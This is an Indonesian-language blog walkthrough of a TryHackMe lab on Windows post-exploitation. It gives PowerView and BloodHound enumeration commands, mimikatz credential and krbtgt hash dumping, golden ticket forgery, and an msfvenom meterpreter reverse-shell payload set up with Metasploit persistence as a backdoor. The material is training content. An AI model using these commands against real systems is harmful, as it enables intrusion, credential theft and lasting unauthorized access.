Tryhackme — Post-Exploitation Basics (Bahasa Indonesia)

Alex
11 min readMar 3, 2024
https://tryhackme.com/room/postexploit

Hola!

Kali ini kita akan belajar post-exploitation basics alias dasar-dasar pasca eksploitasi. Kita akan belajar metode atau cara-cara yang bisa dilakukan ketika kita sudah berhasil mengeksploitasi suatu mesin atau server, dalam konteks ini adalah Windows server. Diantara tools atau alat yang akan kita pelajari nanti ada mimikatz, bloodhound, powerview, dan msfvenom.

Room ini dibuat oleh om Cryillic. Dalam room ini, ada 6 Task yang harus kita selesaikan, yaitu:

  • Enumeration w/ Powerview
  • Enumeration w/ Bloodhound
  • Dumping Hash w/ mimikatz
  • Enumeration /w Server Manager
  • Maintaining Access

Oke, setelah menghubungkan jaringan via openvpn, menyalakan server Windows, dan memastikan mesin linux kita terhubung ke server tersebut, kita masuk ke Task pertama.

[Task 2 — Enumeration w/ Powerview]

Windows Server Creds’

Kita login dulu kalau gitu via rdp, saya akan gunakan rdesktop.

rdesktop -u Administrator -d CONTROLLER $SERVER_IP

masukkan password…

login as Administrator via RDP @ CONTROLLER domain

Sekarang, sebagaimana judulnya, ‘enumeration w/ powerview’, powerview adalah script Powershell-Empire yang dapat digunakan untuk melakukan enumerasi pada suatu domain, setelah kita berhasil masuk ke dalam.

Powershell-Empire

Jadi, Server Windows tersebut diasumsikan adalah target yang sebelumnya sudah berhasil di exploitasi sehingga kita berhasil login ke akun Administrator di domain CONTROLLER.

Untuk memudahkan kita menjalankan script di powershell, kita bisa menjalankan perintah berikut:

powershell -ep bypass

Dan kita dapat menjalankan script powerview.ps1 dengan mengetikkan perintah berikut:

. .\Downloads\PowerView.ps1
run powerview.ps1

Berikutnya, kita akan coba menggunakan script tersebut untuk mengenumerasi 2 hal di domain ini, yaitu:

  1. Users

Untuk mencari tahu, ada Users apa saja di domain ini menggunakan powerview.ps1, kita dapat mengetikkan perintah berikut:

Get-NetUser | select cn
users

Kalau ada yang bertanya, kenapa harus ada perintah lanjutan ‘select cn’, sebetulnya perintah itu berfungsi untuk memfilter supaya kita hanya mendapatkan nama dari user-nya aja. Karena, kalau kita hanya mengetikkan perintah Get-NetUser, kita mendapatkan banyak informasi tentang suatu user, padahal kita gak terlalu butuh itu dalam konteks ini.

Get-NetUser

Misalnya, dari ss itu, kita bisa dapat banyak informasi tentang User Administrator. Misalnya, kita bisa tahu kapan akun tersebut dibuat, kapan terakhir logon, apa objectsid-nya, dll. Sementara, sekarang, kita hanya butuh nama user-nya aja, jadi kita filter dengan ‘select cn’.

Sebetulnya, karena poinnya adalah memfilter nama user, jadi, tidak harus ‘select cn’ sebagai filter, bisa juga opsi lain, misalnya ‘select name’, hasilnya kurang lebih akan sama:

get-netuser | select name

2. Groups

Untuk mencari tahu, ada Groups apa saja di domain ini menggunakan powerview.ps1, kita dapat mengetikkan perintah berikut:

Get-NetGroup -GroupName *admin*
groups

Enumerasi users dan groups adalah sampel yang dapat kita lakukan dengan script powerview.ps1 ini. Selanjutnya, sang pencipta script, bang HarmJ0y memberikan kita cheatsheet enumerasi lainnya yang dapat dicontek pada [di sini] atau dari Hacktricks [di sini]…

Sekarang, kita masuk ke soal…

  • What is the shared folder that is not set by default?

Kita bisa menggunakan perintah (sebagaimana di-spill di Hint :v ),

Invoke-ShareFinder
invoke-sharefinder

Bisa kita lihat di ss tersebut, satu-satunya shared-folder yang tidak di-set adalah folder Share.

  • What operating system is running inside of the network besides Windows Server 2019?

Pertama-tama, kita bisa gunakan perintah ‘Get-NetComputer’ untuk me-list komputer yang terhubung di domain CONTROLLER ini.

get-netcomputer

Sekarang, kita tahu, ada 2 komputer yang terhubung ke domain ini. Kita tahu, sistem operasi komputer yang sedang kita gunakan adalah windows server 2019. Tugas kita adalah mencari tahu sistem operasi komputer yang satunya. Untuk mencari tahu sistem operasi setiap komputer, kita bisa tambahkan parameter ‘-FullData’:

get-netcomputer -fulldata

Sebetulnya, kita bisa scroll saja ke bawah, dan akan menemukan sistem operasi dari komputer yang lain. Tapi, untuk memudahkan, kita akan gunakan filter.

Get-NetComputer -fulldata | select operatingsystem
operating system
  • I’ve hidden a flag inside of the users find it

Flag-nya karena disimpan sebagai user, maka kita bisa lihat tadi ketika kita melakukan enumerasi user, kita sebetulnya sudah mendapatkan flagnya.

flag

[Task 3 — Enumeration w/ Bloodhound]

BloodHound

Bloodhound adalah tools untuk melakukan visualisasi jaringan. Untuk meng-crawling data, ada tools / script Sharphound yang fungsinya mirip-mirip dengan Powerview.ps1 tadi, yaitu untuk melakukan enumerasi jaringan users, groups, dll di suatu domain yang dikumpulkan dalam format .json untuk ditampilkan atau divisualisasikan di Bloodhound.

Untuk menginstall bloodhound (terutama di Kali Linux), tinggal ketikkan perintah

sudo apt install bloodhound neo4j

Atau men-download langsung binary-nya dari sumbernya:

Untuk bisa menjalankan Bloodhound, kita akan jalankan neo4j sebagai server dengan perintah berikut:

sudo neo4j console
start neo4j as console

Berikutnya, kita perlu melakukan konfigurasi (ulang) database untuk login ke bloodhound yang bisa kita lakukan di neo4j yang jalan di localhost port 7474. Sebetulnya, sudah ada default creds-nya, yaitu neo4j:neo4j. Tapi, kita diminta untuk mengganti default creds tersebut.

neo4j web

Selanjutnya, kita bisa jalankan Bloodhound…

bloodhound

Login dengan creds yang sudah kita buat sebelumnya…

bloodhound login

Sekarang, kita pindah ke server lagi. Seperti renana awal, di server, kita akan jalankan Sharphound. Tryhackme sebenarnya sudah menyediakan script Sharphound di server Windows tersebut, tapi, setelah saya coba, hasil datanya tidak memuaskan karena tidak bisa ditampilkan di Bloodhound.

Jadi, saya akan menggunakan Sharphound bawaan dari Bloodhound itu sendiri yang secara otomatis juga tersimpan ketika saya menginstall Bloodhound di kali linux. So, saya akan pindahkan Sharphound dari mesin saya (Kali Linux) ke server Windows tadi.

Sharphound.exe

Nyalakan SSH server…

systemctl start ssh
systemctl status ssh
start ssh server

Transfer file via scp (Secure Copy)…

Sharphound.exe

Sharphound berhasil di transfer dari Kali Linux ke server Windows via scp. Sekarang, kita jalankan…

run sharphound.exe

Berhasil, kita mendapatkan .zip file-nya.

zip file sharphound

Zip file ini lah yang akan kita inputkan ke Bloodhound tadi. Jadi, pertama-tama saya akan pindahkan file zip tersebut ke mesin linux saya.

transfer zip file sharphound
zip file sharphound transferred

Kita masukkan zip file tersebut ke Bloodhound. Caranya, file zip tersebut bisa di drag and drop ke Bloodhound:

import zip file to bloodhound

Via Bloodhound, kita lebih mudah melihat visualisasi jaringan di suatu domain mulai dari yang sederhana, seperti domain admin:

domain admin

hingga yang kompleks seperti shortest path to high value targets:

shortest path to high value targets

dan masih banyak lagi yang bisa kita enumerasi melalui bantuan visualisasi Bloodhound. Sekarang, mari kita masuk ke soal…

  • What service is also a domain admin
SQLService

Jawabannya mudah ya, yaitu sqlservice karena kita tahu sql adalah service untuk menyimpan dan mengelola database dan dia juga terhubung ke domain admin. Jadi, sqlservice adalah service yang juga sekaligus adalah domain admin.

  • What two users are Kerberoastable?
kerberoastable users

Mudah ya, dua user yang ‘kerberoastable’ adalah sqlservice & krbtgt.

[Task 4— Dumping hashes w/ mimikatz]

mimikatz

Mungkin diantara yang lain, mimikatz adalah tools post-exploitation yang paling terkenal dan banyak digunakan untuk melakukan ‘dumping users credentials’.

Di task ini, kita akan belajar menggunakan mimikatz untuk melakukan dumping hash NTLM untuk kemudian di-crack dengan hashcat. Kebetulan di server Windows-nya sudah disediakan mimikatz, jadi kita tinggal pakai saja.

mimikatz

Untuk melakukan dumping hash, kita hanya perlu 2 perintah:

privilege::debug

Perintah tersebut digunakan untuk memberikan akses Administrator kepada mimikatz karena kalau mimikatz tidak diberikan akses Administrator, tentu saja hasil dumping-nya tidak maksimal.

privilege::debug

Pastikan outputnya seperti di screenshot, yang berarti mimikatz berhasil mendapat akses Administrator.

lsadump::lsa /patch

Perintah tersebut adalah perintah utama kita, yaitu untuk melakukan dumping hash…

dumping hash w/ mimikatz

Oke, kita berhasil memanen banyak hash yang ada di domain CONTROLLER ini. Sekarang, kita masuk ke soal…

  • What is the Machine1 Password?

Saatnya untuk melakukan password cracking dengan hashcat!

machine1 hash
NTLM hash cracking
hash cracked

Kita berhasil mendapatkan password dari machine1

  • What is the Machine2 Hash?

Ez, kita tinggal melihat hasil dumping hash dari mimikatz tadi…

machine2 hash

[Task 5 — Golden Ticket Attacks w/ mimikatz]

Golden Ticket

Di task ini, kita masih menggunakan tools sebelumnya, yaitu mimikatz, untuk membuat golden ticket. Penjelasan detail tentang golden ticket akan dibahas di lain kesempatan. Tapi, saya akan berikan dua referensi berikut untuk sedikit memahami apa itu serangan golden ticket (golden ticket attack).

https://www.netwrix.com/how_golden_ticket_attack_works.html#
chatgpt

Secara umum, untuk mendapatkan golden ticket, kita hanya perlu dua proses, yaitu (1) dumping krbtgt hash dan (2) membuat golden ticket.

  1. dumping krbtgt hash

Perintah untuk dumping krbtgt hash via mimikatz adalah sebagai berikut:

lsadump::lsa /inject /name:krbtgt
dumping krbtgt hash w/ mimikatz

Kita berhasil mendapatkan hash krbtgt. Tiga hal tersebut yang perlu diperhatikan, yaitu SID, User, dan NTLM hash, karena ketiga hal itu kita butuhkan untuk membuat golden ticket.

2. Membuat golden ticket

Perintahnya adalah sebagai berikut

kerberos::golden /user: /domain: /sid: /krbtgt: /id:
  • user: Administrator
  • domain: controller.local
  • sid: (seperti SID yang ada di ss sebelumnya)
  • krbtgt: (seperti hash yang ada di ss sebelumnya)
  • id: 500
create golden ticket

Oke, kita berhasil membuat golden ticket. Sekarang, kita dapat memanggil command prompt (cmd.exe) yang memiliki permission akses yang paling tinggi, yaitu system32 (atau akses root kalau di linux). Caranya adalah dengan mengetikkan perintah sederhana berikut di mimikatz:

misc::cmd
calling cmd w/ system32 perm via mimikatz
cmd w/ system32 perm

Kita bisa lihat, kita sekarang sudah menjadi root! Dengan permission ini, kita dapat mengakses mesin lain yang ada di jaringan ini, seperti yang ada di ss berikut:

move from domain controller machine to desktop-1 machine

Namun, sayangnya, saat room ini dibuat, ada keterbatasan sehingga kita tidak bisa mengakses mesin lainnya. Berikut adalah pernyataan pembuat room, om Cryillic di akhir task ini:

“Unfortunately because tryhackme does not currently support networks you will be unable to access other machines however I encourage you to add other machines to this domain controller yourself and try out these attacks”

Jadi, di task ini, tidak ada soal yang perlu di jawab…

[Task 6 — Enumeration w/ Server Manager]

windows server manager

Di server manager ini, kita dapat melakukan manajemen users, group, trusts, dan lain sebagainya. Ada dua menu yang menarik untuk dieksplorasi, yaitu menu ‘Manage’ dan ‘Tools’.

Tapi, mari kita langsung menuju ke soal,…

  • What tool allows to view the event logs?
event

Kalau kita melakukan pencarian dengan mengetikkan keyword event, maka tool atau aplikasi yang muncul adalah Event Viewer.

event viewer

Event Viewer memang digunakan untuk melihat event-event yang berjalan di Windows.

  • What is the SQL Service password

Untuk menjawab pertanyaan ini, kita perlu cari tahu dulu user SQL Service lewat server manager tadi. Caranya, kita pilih menu Tools -> Active Directory Users and Computers.

Tools — Active Directory Users and Computers
Active Directory Users and Computers

Terlihat sekarang, apa password dari user SQL Service.

[Task 7— Maintaining Access]

metasploit

Sekarang adalah bagian yang paling seru, kita akan me-maintain access supaya dapat terus mengakses mesin atau server yang sudah di-compromise sebelumnya.

Di task kali ini, kita akan me-maintain access dengan membuat backdoor menggunakan bantuan metasploit (dan modul-modulnya). Pertama-tama, kita akan membuat payload-nya dulu dengan msfvenom…

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe

Masukkan LHOST kalian menyesuaikan dengan ip yang ada di interface tun0 (atau interface vpn yang terhubung ke Tryhackme) dan LPORT (bebas, di sini saya gunakan port 1337).

create payload

Kemudian, kita transfer payload tersebut windows server sebagai mesin yang sudah ter-compromise.

transferring shell.exe

Berikutnya, kita pasang listener di metasploit dengan menggunakan exploit/multi/handler, payload diset ke windows/meterpreter/reverse_tcp, lhost di ip tun0, dan lport juga disesuaikan dengan lport ketika membuat payload tadi (saya 1337).

set up meterpreter listener
reverse shell

Belum selesai, karena tujuan kita adalah memasang persistence, maka setelah mendapat reverse shell via meterpreter, kita perlu menggunakan modul persistence di metasploit.

set up persistence (backdoor)

Yapp, kita berhasil memasang persistence atau backdoor di server tersebut. Itu artinya, kalau nanti koneksi kita sebagai attacker tiba2 terputus dari server Windows tadi, kita masih tetap bisa mendapat akses via backdoor tersebut.

Congratz!

Yak, selamat sudah menyelesaikan room Post-Exploitation Basics dari Tryhackme!

See you soon and Happy Hackingg!!

xixixi

--

--

Alex

A college student. A writer. Cyber security enthusiast.